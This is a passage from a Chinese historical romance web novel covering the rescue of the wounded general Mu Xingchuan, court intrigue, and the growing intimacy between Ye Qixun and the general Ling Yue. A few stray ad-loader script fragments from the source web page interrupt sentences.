疫病,快熬不过去时,幸运地遇到了神医桑衔山,后来,她在桑家的药庐住了整整三个月,才完全恢复。 这期间,外祖和桑衔山时常饮茶对谈,因都有济世之心,最后成了忘年之交,而小桑羽日日隔着帘子陪她聊天,两人也成了好朋友。离开药庐之后,栖循仍常给桑羽写信,再后来外祖病倒,桑氏父女俩又特意赶来京城为外祖诊病,可惜外祖确实已是药石无用。 自那之后,栖循没有再离开京城,而桑羽医术已有小成,开始行走四方,悬壶救人。由于外边愈来愈乱,栖循还派了人保护她,又将各地商号的联络法子告诉她,加上桑羽自己也会用毒自保,这一年多便都安全地走了下来。 想到都一年多没见了,栖循当下笑着挽住她:“阿羽今晚就歇我房里吧,咱们好好聊聊,否则明日兴许就没时间了。” 桑羽边随她往里走,边好奇道:“我才刚来呢,怎么就说明日没时间了?” 栖循顾忌路上仆婢杂役,但笑不语,等进了自己的闺阁拉着人坐下,又命如葵奉了茶,才将穆星川一事详细说给她听。 桑羽醉心医术,于人情世故朝局政事一概不通,所以栖循说的那些阴谋诡计都没太听懂,但她听明白了,穆星川明明是保家卫民的忠义将领,如今却被人冤枉成通敌叛国,还被酷刑折磨成了半残,心中一热,立刻便应承下来:“没问题,我定当全力救他,明日就能看到人吗?” 栖循想了想收到的那些消息,点点头:“应当就是明日了。” “行,一会儿我就先列个药单子给你准备起来。”桑羽说着,提起另一个事来,“对了,你信里提到的苗疆怪医和犀灵香的事,我这两天仔细回忆过了。” “我和爹配制的那些犀灵香都给了你,绝无可能流到其他人手中。至于苗疆怪医,他与我爹已算是交情最深了,那还是因为他不服我爹,常来找我爹比试的原因,我从未听他提到过有其他朋友,而且他这个人从不收徒,也绝不会把自己那些毒和药的配制之法告诉别人。” 桑羽皱了皱眉,“我实在想不通,那犀灵香是哪儿来的。” 犀灵香的来源事关崇宁背后的“主人”,栖循没想到桑羽也毫无头绪,沉吟了一下,问:“那苗疆怪医可曾受过什么人的恩惠?” 桑羽低头冥思苦想了一会儿,还真想到了什么:“我记起来了,有一次他无意间说到过,自己曾被仇家追杀受了重伤,后来在建康附近被人所救。” “建康?”栖循怔了怔,郧国公徐光庭在关内,总不能跑去江南救人,难道崇宁和李如岳的“主人”不是他?她立刻又追问,“可知是哪一年的事?” 桑羽:“我算算啊……应该是四年前的事。” “好,我马上派人去江南查探。”栖循说罢,便唤来如棠,利索地交代下去。 …… 如此,两件正事都说完了,二人才问起对方的近况,说笑起来。 用了晚膳后,栖循又请桑羽去给父亲诊了脉,写了方子,到夜间,两个女子便躺在一张床榻上,漫无边际地聊天,仿佛回到了少女时一般。 聊着聊着,也不知什么时候,就睡着了。 可睡了也并不觉多久,栖循便于朦朦胧胧间听见如棠在耳边唤她: “夫人,夫人……穆将军被救出来了!” “!” 栖循睡得迷迷糊糊的脑袋一下清醒了,霍地睁开眼坐起身来,先往窗子看了一眼,外面才刚亮了一点点天光。 “凌越呢?”她转回头问时,眸中已完全清明了。 如棠连忙答:“穆将军被转移出刑部大狱没多久,大将军就悄悄出了一趟府,这会儿又回去了。” “阿羽,”栖循听完,立刻掀了锦被,转身对还在揉眼睛的桑羽道, “我们这就回将军府!” 15.救人 四更末,大将军府外书房内。 凌越微微垂首,立于案前,手中狼毫在白宣上一顿一勾,落下了最后一笔。 恰巧这时,书房门被叩响了,他将笔放回原处,道了声“进”。 门被推开,长左无声地走近案边,躬身禀报道:“将军,穆三已经接出来,安全送到地方了,刑狱内也都安排好了。” “嗯,”凌越双眸注视着案上力透纸背的“孤勇忠义”四字,“继续盯着各处动静,切忌掉以轻心,半个时辰后再来报。” “是。”长左应下,又悄无声息地退了出去。 “郎君。”长左刚出去,钟仪捧着一叠衣物走进来。 凌越的视线这才从宣纸上移过去,点头道:“拿进去吧。” 说着,他脚下一动,转身先往一侧用作临时休息的里间走去,钟仪立刻跟了上去。 等二人再从里间出来,凌越已换上了一袭玄色暗纹锦袍,俊挺的眉眼无端多了几分冷峻和威赫。 钟仪为他续了些茶水,便站在书案边陪他等着。 半个时辰后,长左再次回来,言一切如常,没有异样。 凌越从椅中站起,“好,这就走。” 长左应了一声是,跟在他身后边快步往外行去,走到门口时忽然补充道:“对了,将军,方才大夫已经给检查过穆三的伤势,说他的腿骨和臂骨断裂严重,日后恐怕无法执握重物,亦无法下地行走,穆三听到后,便说不用给他治了。” 凌越脚下微顿,随即继续阔步往外行去。 已入秋,五更初的天仍是墨色的。 凌越从府中侧门出去,并不用长左带路,凭着脑中记下的舆图标记,穿过两条无人的长街,绕过安兴坊最贵重的地段,一路往东,又拐过几个弯,最后停在了一个长巷里的院子前,三长两短地扣了扣门环,门旋即从里面打开了。 两个守卫默默躬身行礼,凌越微一颔首,径直朝里走去。这院子并不大,穿过前院,便是正屋,正屋门口亦守着两个人,见到他一起恭敬地低声唤了句“大将军”,便小心地把门推开了。 凌越迈进去,便闻到屋内仍弥漫着的淡淡血腥气。方桌上点了一支蜡烛,将靠墙的床榻照得半亮,他缓缓走近床边,垂首看去,床上的人安静地闭着眼,原本清俊的脸上如今遍布伤痕,从右眼下方至左脸嘴角一道皮开肉绽的鞭痕尤为瘆人,脆弱的颈部上几圈黑紫的勒痕,两边锁骨各有一处血洞,洞口还凝着新鲜的血迹,再往下,便都被掩盖在了轻柔的衾被之下。 若不仔细分辨,几乎感觉不到那微弱的气息。 或是察觉到了注视自己的视线,床上人薄薄的眼皮突然动了动,慢慢睁开了。 “大将军……”看到来人,他的目光颤了颤,嗓音嘶哑,几乎难以发声。 “穆三,”凌越在床沿坐下,望着他,“你已经安全了,什么都不用想,先把身体养好。” “……不可能养好了,”穆星川沉默了一会儿,死寂的目光缓缓移向帐顶,声音愈加哑涩,“末将已经是个废人了,再不能为将军执槊上阵,连站起来都不可能了。” 凌越眉心慢慢锁起,想到他自十六岁跟在自己身边,无数次在战场上与自己并肩冲杀,那杆长槊还是自己命铁匠为他量身打造,亦是心痛,沉声道:“活着便好,日后即使不能再上阵,也可做个军参,一样是破虏杀敌。” 穆星川又是一阵沉默,忽而惨笑一声,艰难道:“大将军不用劝慰我了,我不止是站不起来,以后连碗都端不起来,末将不想做个无法自理的废人,不想毫无尊严地苟活,求大将军成全末将。” 凌越神色凝重,亦默了片刻,而后垂首想握住他放在被外的手,却发现他十指皆被桚过,肩上亦无可碰触之处,最后只能望着他,声沉沉地: “穆三,我只问你,你当年还是一介小兵时,都忍不下别人对你的污蔑羞辱,如今,难道甘心带着通敌叛国的耻辱就这么死了吗?你对那些欺辱践踏百姓的人,尚且杀之而后快,如今,对害你至此的仇人,难道不想亲眼看他们最后如何死败涂地、为世人所唾吗?” 穆星川眼中微微一震。 凌越清沉的声音里带着甚于平日的威肃,继续道:“过去,你曾骁勇执槊为我退敌,立功无数,今日,你因我无端遭此大难,我却无法护你全身而退,但待他日,我若得定天下,必为你冤昭世人,功书青史,你亦必在功臣王侯之列。” 他见穆星川的目光终于又看过移过来,微顿了顿,“穆三,你若还信我,便好好活着,活着亲眼看看这天下,重归你曾想见识一番的安定治世。” “……”床上的青年喉头动了动,却没有说出话来,那双死寂的眼中隐隐闪过泪意。 …… 回到将军府时,天际已浮白。 钟仪迎上来禀报,周刘两位世子来了,正在书房候着。 凌越点点头,他知道这二人为何而来,任着吏部尚书的信国公和任着兵部尚书的平原侯把九族身家性命都押在了自己身上,眼下高贽和杨珪步步紧逼的局面,让他们坐立难安了。 看来,不得不提前将他手中藏得最深的势力告诉二人了。 果然,周砚和刘安礼听完后,都是一脸震惊,再三确认,才转惊为喜。 但如此一来,晚些进宫议政时的应对,也要随之变化,凌越又与二人密商了两盏茶的时间,方谈得差不多了。 这时,钟仪忽然敲门进来报:“郎君,夫人回来了,问郎君现在是否可以见她。” “现在?”凌越一怔,往门外看了一眼,确认晨光尚还熹微,她又是从叶府回来,未免起得太早了…… 周刘二人也颇吃惊,对视一眼,周砚道:“九渊,那我们便先回去吧,也好尽快将方才所谈告知父亲。” “好,转告两位世伯不必多担忧。”凌越顺势接道。 他二人离开没一会儿,叶栖循便从门外盈盈转了进来,素面未妆,更显清丽。大约确实起太早,没睡够,眼下略有些疲惫,不过……倒是另有一种脆弱的美。 凌越恍了恍神,不知自己今日怎么竟看得这般仔细。 自三日前那一番月下对谈后,他现在对如何处理与她的关系更觉得棘手,信几分,不信几分,连自己都无法辨明。但无论如何,这次确实是她提醒了自己救穆三的法子。 “夫人怎会这么早回府?岳丈身体安否?”对视片刻后,他开口问道。 栖循愣了下,不想他竟问起父亲来,随即却又明白过来凌越的心态,不由有些好笑,于是便真的笑道:“父亲没有大碍,劳大将军挂心了。我急匆匆回来,是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 想问问大将军,穆将军是否已经救出来了?现在人在何处?” “确实救出来了,”凌越直言,这事也没什么好隐瞒她的,但后面一问,他却仍留了警惕,并未回答,只道,“此事还要多谢夫人提醒。” 栖循也不介意他答一半,背着手朝他走近两步说:“现在谢我尚早了些,我今日还给大将军带了一个人来。” 晨光之中,凌越分明见她眸底噙着暖色笑意,墨眉微微扬起:“哦?” 栖循:“大将军可听说过黄州东璧桑衔山?” 凌越心中一动:“神医桑衔山,早有耳闻,可据我所知,他近些年隐居江南,早已不在外行医。” “大将军说的不错,桑神医确实已不在外行走,但世人不知,他还有一个女儿于医道天赋过人,尽承其医术。”栖循说着也不浪费时间,便朝外唤了一声,“阿羽。” 书房外,钟仪已自觉地打开门,桑羽跨进去,径直走到栖循身边,并不敛衽,只跟男子似的,对凌越抱了抱拳:“桑羽见过大将军。” “桑大夫不必多礼。”凌越没想到进来的女子这般年轻,心中还有些犹疑,正想再问些什么—— “大将军放心,循儿已经和我说过穆将军的事了,我定会尽全力医治他的,他人呢?快带我过去吧。”桑羽昨夜听循儿处处为凌越打算,只当二人既是夫妻,便也没什么好见外的,抢先救人心切道。 凌越:“……” 栖循也没料到桑羽会这么直接,桑羽不知,她却是知道凌越既对自己还未完全信任,也会对桑羽这样一个年轻又没确认过底细的人心存疑虑:“将……” “好,那便先谢过桑大夫了。”凌越却是先笑着开了口,方才脸上的一点犹疑竟也没有了,眉宇间一片月朗风清。 栖循眉梢轻挑,倏然想起凌越可是最会选锋的,大概看人自有一套? “只是有件事,需提前与桑大夫说清,”凌越继续道,“穆三现在并不在府内,而在另一处安全之地,桑大夫一旦去了,便不能离开,也不能与人通音讯。这样安排并不是防着桑大夫,只是怕无意中暴露了踪迹,毕竟穆三一事干系甚大,如何小心都不为过,还请桑大夫想清楚。” 这倒确实有点为难桑羽,她向来是无拘无束的性子。皱眉想了一会儿后,桑羽道:“那也行,但我也不能只守着一个病人,你得随时给我准备各类药草,这样我就能在那儿研制新的药方。” 凌越立刻道:“这没问题,桑大夫随时交代便是。” “行,那就这样定了。对了,循儿,你帮我给父亲写封信解释一下。”桑羽对栖循说了一句,又转头看向凌越,催道,“那快走吧,大将军。” 她这般直爽,凌越不由看了栖循一眼,栖循也正看向他,二人目光撞上,竟是相视一笑。 凌越:“我不便再去穆三处,会由我的亲卫长左送桑大夫过去,以后桑大夫有任何要求,也都可与长左提,我会让他尽力满足。” 说罢,他便唤来长左,交代一番后,长左带着桑羽先行离开了。 书房里只剩两个人,凌越看向栖循,栖循在他开口之前,先弯了弯唇道:“大将军先不必说什么或问什么,等看看穆将军的情况,我们再谈,如何?” 凌越默了片刻:“好。” …… 16.亲吻 近些日子,大殷朝堂之上尤其热闹。 先是宰相杨珪突然上疏弹劾定远将军穆星川通敌叛国,尚书令李如岳等立刻附议弹劾,接着,以柱国大将军凌越为首的一干武将亦联合上疏,极力为穆星川辩解脱罪。 正当大家都以为这两派会为此事唇枪舌剑,好好斗上一番时,才两天,那穆星川忽然自己认罪了,且招认当夜就在狱中畏罪自尽。 穆星川一死,此事的矛头迅速调转,杨珪李如岳及数位御史在大朝会上弹劾凌越识人不明,要求追查他失察及因此贻误战机之罪,以信国公和平原侯为首的一众大臣则竭力为凌越辩护,两方激烈争论,相持不下。 及第三日,皇帝高贽以中庸调和之姿,定凌越失察之罪,收回其西山禁军兵权,罚俸一年,但念及其功绩卓著及帝王惜才之心,仍保留其柱国大将军之位。 至此,此事尘埃落定。 这日,凌越在军营做了最后的安排,从西山回到府中时,天色已暗。 在尧光阁内用了暮食,沐浴过后,他刚打算在案前坐下,钟仪叩门进来,脸上有些喜色—— “郎君,刚刚收到长左传来的消息,小桑大夫不知用了什么法子,才三天时间,穆将军原本已经没有知觉的双腿,又能感觉到痛了,穆将军有了希望,今天连饭都多吃了半碗!” “这么快?”凌越有些吃惊。 钟仪:“是呢,小桑大夫还说,她有信心,半年左右就让穆将军重新站起来,真不愧是神医之女!”高高兴兴说完,他又小心道,“说起来,这回可真是多亏了夫人,郎君这几天也忙完了,是不是……” 凌越眸光动了动,是呢,那天她可说了,等穆三的情况好转,他们再谈。 “知道了,你先下去吧。”他说完,便往那架绘了江山雪霁图的屏风后走去。 钟仪看出来他是要进去更衣,愈加喜笑颜开,立刻又道:“那我先去备好灯笼,一会儿为郎君照路。” 屏风后传来淡淡的一句:“不用,我自己的府邸,还用得着你带路?” 钟仪翘起的嘴角僵住了:“……” 他突然有点羡慕长右怎么回事?? 凌越换了一身浅云绣金锦袍,从屏风后转出来,缓步走到门口时,忽然停下来,又折去西侧的乌木架子上,打开一个雕镂长匣,取了小小一件东西出来,才复又往外走去。 他身高腿长,不消一会儿,就到了含章院……嗯,刚发现她连院子名都改了,以前应该是叫什么牡丹院。 长右大约正在跟门口的守卫吩咐什么,一转身,看到自家将军竟然来夫人院里了,一时惊讶地嘴巴都合不上,被凌越挑眉看了一眼,才赶紧躬身行礼。 凌越进了院门,继续往里走,心中却淡淡嗤笑,他自己的府邸,自己娶进来的女人,想来随时可以来。 一个两个,倒是大惊小怪。 等走到了院内正房门口,他便听见里面有说笑声传出,仔细听,其实更像是山间清泉浸过最轻薄的丝绸的声音,清凌凌的,偏又带了点柔婉。 他正想着,面前的门突然被从里面打开了。 如葵站在门口,惊得和刚刚的长右一样,好半晌,才想起行礼:“奴婢见过大将军!” 她这一喊,屋里的两人立刻都望了过来。 凌越也望进去,便见叶栖循穿着白色的绸缎寝裙,手里握着一卷书,正斜倚在三足凭几上和另一个侍女说话,大约也是刚沐浴完没多久,一头如云青丝如瀑般铺在白色寝衣和莹润的胸口。 二人目光撞上,凌越轻咳了一声,如葵连忙让到一边,里头的如棠也赶紧站了起来,行了礼,识趣地退到门边,等人长腿一迈进去了,二女立刻在外边把门关上了。 栖循慢慢从凭几上坐正了,她白天收到宫里传来的消息时,就料到凌越差不多该来找自己了,但没想到,今夜他就过来了,目光不免有些微妙。 “夫人在看什么书?”凌越信步走到矮几边,在她对面坐下了,仍是淡淡地问。 栖循把手里的书举起来,朝他晃了晃,展示了一下书封,眉眼弯弯:“京城最新最热的话本,将军想看看么?”话落,便见凌越轻轻挑了挑剑眉,她又轻笑起来,“怎么,将军以为我在看什么书?” 凌越亦笑了:“《群书治要》,或者《六韬》?” “看来我在将军心目中,至少是个可做谋士的女子了?”栖循意有所指地说了一句,随即看着他道,“那日答应了的,将军有什么想问的,就请问吧?” 凌越又笑了笑,他欣赏她的其中一点,便是总能收放得宜,该利落的时候总很利落。他想了想,问:“夫人常年在京中,是如何认识桑神医父女的?” “谁说我一直在京中的?将军在调查我时,不是觉得我十二岁至十七岁那五年很奇怪么?”栖循毫无隐瞒道,“那是因为我十二岁便跟着外祖去各地游历了,后来途经汝阳时染了疫病,为桑神医所救。” 凌越俊美的脸上闪过意料之中的神色:“除了游历,还做了什么?” “行商赚钱,布眼线,养一些有用的人。” “外头这么乱,为何要亲自去?不怕死吗?” 栖循垂眸片刻,又缓缓抬起来:“因为我正是想看看,外面的世道究竟有多乱,看看将军打了那么多胜仗,却越打越失望的高家天下,究竟烂到了什么地步,也看看那么多黎民百姓,究竟是怎样一天天活下去的。” 凌越心中微动:“你看到了,然后呢?” “然后,我试图救他们。” “……但是,我发现自己救得了一千个人,一万个人,却仍无数的人死在我看不见的地方。就像桑神医,他医治过无数人,阻止过无数场疫病的蔓延,可在他去不到的地方,仍有无数人死去,仍有无数疫病四处吞噬本就悲惨的生命。” 凌越墨眸微深,凝视着她。 栖循亦定定看着他:“再然后,我就遇到了将军。我好像找到了一个办法。” 她说完这句,两人都没有再说话,静静地在通亮的烛火中对视着。 许久,栖循又笑起来:“将军对我的回答,还满意吗?” 这一段对答比他想得简短得多,但凌越心想,当然满意,他自己都想不到比这更让人满意的答案了。 “夫人真是让人惊喜,”他没有直接回答她,“我在想,以后是不是还会收到新的惊喜?” 栖循微微歪了歪头,眸光闪动:“谁知道呢?但我们还有不少时间,不是吗?” 她自信已让他信了自己九分,至于那剩下的一分,约莫真的只能交给时间了。 “……确实,”凌越沉默了一会儿,蓦地低低笑了笑,清醇的尾音却微微轻扬,“我们的时间还很多。” 话到这儿,他动了动,手中忽然出现了一只紫檀漆金小匣子:“这次夫人帮了我,我有一件小礼物回 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 赠夫人。” 这却让栖循稀奇了,她还真没料到这个,不由好奇地看过去:“是什么?” 凌越将那小匣子放到矮几中间,在匣盖金扣上一推,盖子打开了,是一对做工极为繁复的金累丝宫灯耳坠。 栖循低头仔细去看了会儿,有些惊喜地抬眸:“实不瞒将军,这京中的福隆斋就我手中的生意,斋中这些年做过不少宫灯耳坠,却都比不上将军手里这一对。” 凌越勾了勾唇:“出自圣手赵匠人之手。” 那时,他尚年幼,母亲也还没那么厌恶他,有次去找赵匠人做东西时,便开玩笑地让他随便挑一件,送给将来的娘子做信物,他便挑中了这对耳坠。 他顿了顿,墨眸又看了对面的女子一眼,“我帮夫人戴上试试?” 栖循一怔,随即唇边漾起浅浅的弧度:“好。” 二人隔着矮几并不方便,栖循便索性挪到了他的侧边,凌越骨节分明的手取了一只耳坠,俯过身来,另一手的拇指与食指指尖轻轻捏住了她柔软可爱的耳垂。 细细的金钩慢慢穿过耳洞,凌越又闻到那清浅的香味。 他又取了另一只,俯身到她另一边,指腹触上去的时候,发现那只耳垂有一些烫。 凌越眸底生了浅浅的笑意,戴完第二只后,他的手轻轻滑下来,滑到她的下颌,然后抬起来,吻了上去。 初时,只是唇与唇柔软的厮磨,轻尝,而后是试探的轻吮,浅含,最后,他终于探入她口中,缠住了她无处可逃的软舌。 四角烛台上的蜡烛依旧照耀着,安静的屋子里渐渐响起轻微的水声。 栖循莹白的脸颊发烫,身子发软,被凌越吻得向后倒去,却又被他有力的臂膀揽住,缎子般的乌发亦洒在他浅云色的衣袖上。 她觉得很不一样,大婚那夜,凌越在颠乱中也俯下身来吻过她,可是,和那次很不一样。 好像整个人都被笼进他身上清冽的松木气息里,唇齿间是他的气息,呼吸间是他的气息。寝衣的宽袖滑落,栖循白皙的双臂慢慢攀上了他的脖子,在他渐渐霸道的攫取和掠夺中,她的手亦渐渐收紧。 “凌越……”唇齿分开的间隙,溢出一声细碎低吟。 凌越微微退开一些,见她红着脸,那双眸子里又如盈了秋水般看着自己,轻薄寝衣下的腰肢纤细柔软。 他深吸了口气,刚想问她“可以吗”,门忽然被笃笃敲了两下,长右瓮声瓮气地禀报:“将军,有军报,连州叛乱。” “……” 凌越闭了闭眼,松开了怀里的人。 栖循却仍半仰着头看着他,呼吸已有些急促。 凌越又倏地将人抱回来,在她唇上用力碾了一下,而后彻底放开了她,低低道:“我先去处理军报。” 语毕,他干脆利落地站起身,阔步往门外走去。 栖循望着他挺拔的背影消失在夜色中,又坐着了好一会儿,才平复下呼吸。 “夫人。”如棠进来唤了一声,却没有得到任何回应。 栖循抚了抚自己唇角,心里慢慢想着,好像……还挺舒服的。 她突然想起钱妈妈和赵国公夫人的那些话,想起大婚那夜眼前晃动的精悍胸膛。 然后又想起那些关于静慈庵里的汇报,好像每次都没有异样,所以,凌越还是干干净净的。 那……不在他拥有三宫六院之前,享用一下,好像有点浪费? 17.江南来客 翌日清晨,金色朝光洒进室内。 栖循如往常般悠悠转醒,刚从衾被中坐起,外头的如葵如棠听到动静,推门进来伺候。 到了床边,两个侍女却与平常不太一样,都有些神神秘秘的,如葵将刺绣软缎寝鞋放到了床踏上,便按捺不住了:“夫人,稀罕事!” 栖循不甚在意地坐到床沿,慵懒道:“怎么?” 如葵语气更夸张:“夫人,大将军刚刚命人送了留香斋的碎金水晶饺和桂花酒酿小圆子来,长右说是特意派人快马去买回来的,还热乎着呢!还说,大将军一会儿要过来和夫人一起用早食!” 听到前面一句时,栖循还只是眉心动了动,待听到后面一句,她趿鞋的动作终于停住了。 如棠觑着她的神情,试探着问道:“想必是因为夫人昨晚和将军相谈甚欢,大将军终于晓得咱们夫人的好了?” “……” 栖循想起了昨晚那个吻,抿了抿唇,若无其事道,“没什么,说开了而已。” 说着,她将两只莹白的足套进软缎鞋里,站起来往洗漱架子走去,如棠如葵对视一眼,连忙跟了上去。 还在洗漱着,耳边却已听到了外间沉稳有力的脚步声,栖循的动作顿了顿,随即又恢复如常,等两个侍女为她简单绾了发,换了身淡绯的轻罗襦裙,她又看了镜中的人一眼,便转去外间,而后从外间进入花厅。 凌越已经坐在花厅里了,手里竟拿着昨天她那话本看着,抬头见她进来,便将话本一合,放到一边,笑道:“夫人起来了?” 栖循从刚刚起就一直默念着,本就是夫妻,亲一下而已,又不算什么,可心里想得再虎,一进来,与那英朗男人墨黑的星眸一对上,却还是不受控制地,一下想起昨晚唇齿相缠难舍难分的亲密。 脸微微发烫,她强自淡然地过去,在他对面坐下,轻嗯了一声,找了话题道:“昨日不是有急报连州叛乱么,将军不用去议政吗?” 凌越眸中泛起些嘲讽之色:“皇帝陛下昨夜喝太多,醉得不省人事,议政推迟了一个时辰,所以才有时间陪夫人用早食。” 栖循:“……”很符合高贽这两年的作为了。 如棠如葵二人上前来,为他们将桌上的早食盖子一一打开了,除了留香斋的招牌碎金水晶饺和桂花酒酿小圆子,还有几道府内厨子做的精致小点,都还冒着热气。 栖循握着细瓷小勺,慢慢地吃那小圆子,状似随意地继续问:“看来连州的叛乱并没什么特别的?” “表面看没什么特别的,只是人数和波及县镇多了些,”凌越却是与之前不同,竟同她详细分析起来,“不过,我昨天仔细查看了连州附近几个州府的情况,只怕很快,整个五原一带的叛乱就会连成一片了,地方军必然镇不住。” 栖循记起三年前在连州的经历,眉尖蹙了蹙:“这么说,朝廷会派中央禁军过去镇压了?” “大约也会先争论一番。”凌越点头,又笑着看她,“不过,夫人放心,陛下是绝对不会再放我出京的。” 栖循:“……” 她有什么好放不放心的…… 但凌越说的,她是明白的,高贽好不容易借赐婚的事,把凌越从北境召回京,又煞费苦心地策划穆星川的事收回了他手里的西山兵权,哪会再给他掌兵的机会?上次的平乱也不过是想趁他回京时伏击杀了他,那次没成,估计高贽也已歇了这个办法的心。 “既然镇压叛乱用不上将军,”栖循细嚼慢咽下一颗小圆子,决定换个话题,“将军就没想过其他什么事吗?” 凌越挑了挑眉:“夫人是说崇宁的事?” 栖循又嗯了一声,昨夜已算开诚布公,她也就没什么好遮掩的:“我动用了手里所有的眼线,竟都还没查到崇宁公主急着离开京城的原因,这种情况可不多。” 凌越看着碗中小小的桂花,沉吟了一会儿,忽然道:“其实,我前两日倒是已得知她为何要离京。” 栖循一下惊讶地抬睫看他。 凌越缓缓道:“高贽大约是答应了杨珪,要把崇宁嫁给杨景达。” “把崇宁嫁给杨景达?”栖循更吃惊了,没想到竟是这样。 杨景达是宰相杨珪的嫡长子,此人可不是简单的流连女色,人人都知这真是个畜生,最大的乐趣就将女人玩死在床上,而且越是漂亮的女人,他用的手段越是恶劣残暴。 高贽表面上一直很宠崇宁,上次赏菊宴的事,还可勉强说崇宁本就自愿献身给凌越,但现在看来,高贽对这个女儿简直毫无亲情可言——没有哪个父亲会把女儿嫁给杨景达这样的禽兽。 难怪崇宁无论如何都要离开京城了,也是可怜。 “将军是如何知道此事的?”栖循惊讶过后又问,凌越这些年一直在外领军,在京的时间前后加起来也不过数月,竟能比她先查到此事,即使有信国公和平原侯的助力,也不可思议,那两家的消息网不可能比她更深更广。 这个问题,凌越却没有再直接回答,只从容地夹了一个碎金水晶饺,放到她面前的碗碟里,含笑道:“夫人日后会知道的,或者你这般聪慧,也可以自己猜一猜。” 栖循眉梢轻扬起来,也是,凌越能主动把这消息告诉自己已是很大的进步了,自己也不能一下太贪心了呢。 她抿抿唇,马上又想到了更深的问题:“那仍是奇怪,如果这个消息准确,那么赏菊宴的事已经过去,也没什么再对外隐瞒的必要了,为何高贽和杨家仍旧讳莫如深至此,我竟一点风声都探听不到?” 话一出口,她心中微动,抬眼与凌越的视线碰在一起。 两人心中都已有了答案——崇宁背后还有什么阴谋,而且,恐怕还是比上次赏菊宴更险恶的阴谋诡计。 花厅里安静片刻,凌越倏尔笑了,看着人的眸光专注清朗:“夫人连外面的乱世、疫病都不怕,想必,更不会怕被我连累了。” “……”栖循垂眸轻哼,手中的小勺搅动了一下,和白瓷盏发出轻微的碰撞声,“将军如今倒是了解我了?” 她确实不怕,京城里这些魑魅魍魉要是真那么有本事,也不会把这江山搞成这样了,崇宁和李如岳背后的“主人”也许谋略过人,可再有谋略,人不在京城,就不可能有那么强的掌控力,她偏不信以自己和凌越加起来的实力,有什么过不去的关。 念及此处,她又想起另一件事,眼波轻斜他道:“说起来,那天那老媪和崇宁提到圣寿节,眼下离圣寿节也就半旬了,这次,郧国公徐光庭依旧找借口不来,但江南的祁王谢云昭可是要亲自上京贺寿呢。” 凌越唇角又牵出笑意,自然明白她的意思,一旦高家江山彻底倾覆,谢徐二人便是自己最强大的对手。 “算算时间,谢云昭应已在半道上了,本将军倒是很期待会一会这位吴越之王。” 两人这般默契而隐有情致地来回打了阵机锋后,又聊起了些无甚紧要的,时辰便差不多了。 凌越放下了银箸,漱了口,起身准备进宫议政。 栖循想了想,他既然特意来陪自己用早食,那自己似乎也该热情一点,于是亦站起来,落后半步,送他出去。 快到门口时,视线里飞扬绣金的袍角忽然落下,凌越停下了脚步,回过身来。 栖循有些 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 莫名,抬头看他:“怎么了唔……” 目光相撞,挺拔俊美的男人已低头吻了下来,不似昨夜那般从轻柔的试探开始,这次凌越一下就含住了她嫣红的唇,用力碾转来回片刻,又不够似的,倏地将她压到了身后的门板上,霸道地探进她口中。 舌尖相触,两人心头皆是一丝颤栗。 栖循仰着头,绯红着脸闭上眼承受,舌被他紧紧缠住享用,腰肢被他用力握住,整个身子被他强势地压着,无处可逃,呼吸心跳都乱了。下意识地,又想去攀他的脖子,却发现凌越太高,她垫起脚才颤颤搂住了他。 许久,久到栖循身子发软,舌尖都被他吮得微麻了,凌越才终于意犹未尽地松开了些。 两人的鼻尖轻轻抵着,凌越微乱的气息洒在栖循面上,栖循眸中已含了一层薄薄的水雾,怔怔地看着他。 过了片刻,凌越忽然在栖循唇角轻啄了一下,又在她唇瓣上轻啄了一下,而后清沉的声音在栖循耳边轻轻笑了起来—— “夫人好甜。” …… . 凌越离开后好一阵,栖循脸上发烫的感觉才慢慢消下去。 “夫人,要描妆么?”如棠和如葵从花厅出来了,努力作出一副平常的样子问道,语调里却是掩都掩不住的喜悦。 方才,她二人在大将军搂住夫人的时候,就福临心至般地飞快后撤,躲回了花厅,但外边的声音可全都听到了。 栖循刚下去的热意又要漫上来,她连忙轻咳一声,压住了,故作平静地快步往屋里走去:“嗯,吩咐套马,一会儿去景福楼。” 她今日还有正事呢。 一番妆扮,又重新挽了发髻,饰了金银珠翠,主仆三人出了府。 因没必要再遮掩什么,如棠直接告知了长右地方,由长右护卫着坐车往东市行去。 路上,栖循便开始思索凌越关于崇宁那消息的来源,以及连州的叛乱,可想着想着,不知怎地总想到刚刚那个吻上,她有些懊恼,索性不想了,和两个侍女说起话来。 两炷香后,马车缓缓停在了景福楼侧门。 景福楼是京城四大酒楼之一,其内四座小楼相向而立,各以飞桥栏槛相连,楼内珠帘绣额,极尽奢华,除此之外,楼后还有一湖,临湖建幽静小院,名天禄院,只接待最富有或权势极盛的住客。 栖循进了侧门后,径直往北楼行去,上二楼,转入拐角处的雅间。 雅间内,却是宽敞明亮,如书房布置。楼里的总管事早已候在里面,见她进来,立刻笑着躬身行礼:“夫人。” 栖循摆了摆手示意他不必多礼,便在圈椅中坐下了,开口问道:“天禄院新入住的客人有何特别的,为何要我亲自来一趟?” 管事站在案前,垂首道:“不敢隐瞒夫人,那位客人及他所带的家仆护卫都做正常高门世族的打扮,小的其实还未发现什么特别之处,只是那位客人本人的相貌气度实在不似常人,所以思虑再三,还是觉得请夫人亲自来看一看,才能放心。” 栖循听完,眉梢微挑,仅凭相貌气度就让阅人无数的景福楼总管事如此在意,倒是少见,她又问:“可知自哪里来,有无姓氏族徽?”停了停,又补一句,“年方几何?” 管事道:“回夫人,一行车马皆无族徽,姓氏暂也不得而知,自哪里来却刚刚打听到,乃是从江南建康而来,客人年约二十。” “自江南而来?” 栖循心中微动,刚想再问,窗外忽而远远传来“铮”的一声清响,几息静默,又是一声长长“铮”鸣。 ——有人在试琴音,声音正是从天禄院传来。 18.合奏 连续几声铮鸣之后,高古松透的古琴之音悠然流溢而出。 栖循动了动,从椅中站起来,走到窗边,推开窗子,琴音更加清晰了。 ——只是信手抚弹,并非什么名曲,却已能叫人沉心静气,如在空谷。 造诣极高。 她循着声向天禄院望过去,却被一片青松挡住了视线,那人正好在湖边的亭子里,是这个窗口唯一望不到的地方。 也不知是无意,还是刻意选的。 栖循倾听片刻,转身道:“我记得上次你呈了一管翠玉笛给我,我没带走?” 